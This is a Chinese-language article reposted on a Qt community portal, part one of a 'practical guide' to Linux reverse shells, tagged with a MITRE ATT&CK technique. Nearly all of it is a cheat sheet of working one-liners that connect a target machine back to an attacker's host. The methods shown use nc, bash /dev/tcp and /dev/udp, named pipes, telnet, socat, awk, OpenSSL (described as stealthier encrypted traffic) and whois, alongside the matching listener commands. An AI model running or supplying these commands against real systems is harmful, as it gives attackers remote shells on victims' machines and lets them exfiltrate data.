找回密码
 立即注册
Qt开源社区 门户 查看内容

Linux反弹shell实战指南(上)

2019-10-3 20:44| 发布者: admin| 查看: 982| 评论: 0

摘要: 一.简介威胁名称:Linux反弹shellATTCK:Command-LineInterface反弹shell是黑客常用的执行命令方法,用于突破网络限制、解决端口占用等问题。本文主要介绍Linux下常见的反弹shell手法,原理可参考以下文章:https:/ ...
一.简介

威胁名称:Linux反弹shell

ATT&CK:Command-LineInterface

反弹shell是黑客常用的执行命令方法,用于突破网络限制、解决端口占用等问题。本文主要介绍Linux下常见的反弹shell手法,原理可参考以下文章:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

二.常见姿势

1. NC

前提条件:攻击机与靶机均安装nc。

①  命令:
    攻击机:nc -l port靶机:nc -e /bin/bash attack_ip port

    ② 命令:
      攻击机:nc -l port靶机:rm /tmp/test;mkfifo /tmp/test;cat/tmp/test | /bin/bash -i 2>&1 | nc attack_ip port >/tmp/test


      ③ 命令:

        攻击机:nc host_ip port靶机:nc -lvvp port -t -e /bin/bash备注:该命令为正向shell。


        2. Bash

        前提条件:攻击机安装nc。

        ①  命令:
          攻击机:nc -lvp port靶机:bash -i >& /dev/tcp/attack_ip/port0>&1备注:0>&1有多种写法,类似bash的还有sh、csh、zsh。


          ② 命令:
            攻击机:nc -ul port靶机:bash -i >& /dev/udp/attack_ip/port 0>&1


            ③ 命令:
              攻击机:nc -lvp port靶机:exec 5<>/dev/tcp/attack_ip/port;cat <&5|whileread line;do$line >&5 2>&1;done备注:exec为shell内置命令,属于Bash分类。


              3. Telnet

              前提条件:攻击机安装nc,靶机安装telnet。

              ①  命令:
                攻击机:nc -l port靶机:mknod test p;telnet attack_ip port 0<test | /bin/bash 1>test备注:telnet可替换为nc,mknod test p; nc attack_ip port 0<test | /bin/bash 1>test 2>test。


                ② 命令:
                  攻击机:nc-l portnc-l 2222靶机:telnet attack_ip port | /bin/bash | telnet attack_ip 2222备注:telnet可替换为nc,ncattack_ip port | /bin/sh | nc attack_ip port2。




                  4. Socat

                  前提条件:攻击机及靶机均安装Socat。

                  命令:
                    攻击机:socat TCP-LISTEN:port -靶机:socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:attack_ip:port备注:除了TCP,还可以利用UDP反弹。


                    5. AWK

                    前提条件:攻击机安装nc。

                    命令:
                      攻击机:nc -l port靶机:awk 'BEGIN{s="/inet/tcp/0/attack_ip/port";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'


                      6. OpenSSL

                      前提条件:攻击机及靶机均安装OpenSSL。

                      命令:
                        攻击机:openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port port靶机:mkfifo /tmp/test; /bin/sh -i < /tmp/test 2>&1 | openssl s_client -quiet -connect attack_ip:port > /tmp/test; rm /tmp/test备注:流量加密更隐蔽。


                        7. Whois

                        前提条件:攻击机安装nc,靶机安装whois。

                        命令:
                          攻击机:nc -l port靶机:whois -h attack_ip -p port `command`


                          #转载请注明来自安全攻防。

                          ----------------------------------------------------------------------------------------------------------------------
                          我们尊重原创,也注重分享,文章来源于微信公众号:安全攻防,建议关注公众号查看原文。如若侵权请联系qter@qter.org。
                          ----------------------------------------------------------------------------------------------------------------------

                          鲜花

                          握手

                          雷人

                          路过

                          鸡蛋
                          
                          公告
                          可以关注我们的微信公众号yafeilinux_friends获取最新动态,或者加入QQ会员群进行交流:190741849、186601429(已满) 我知道了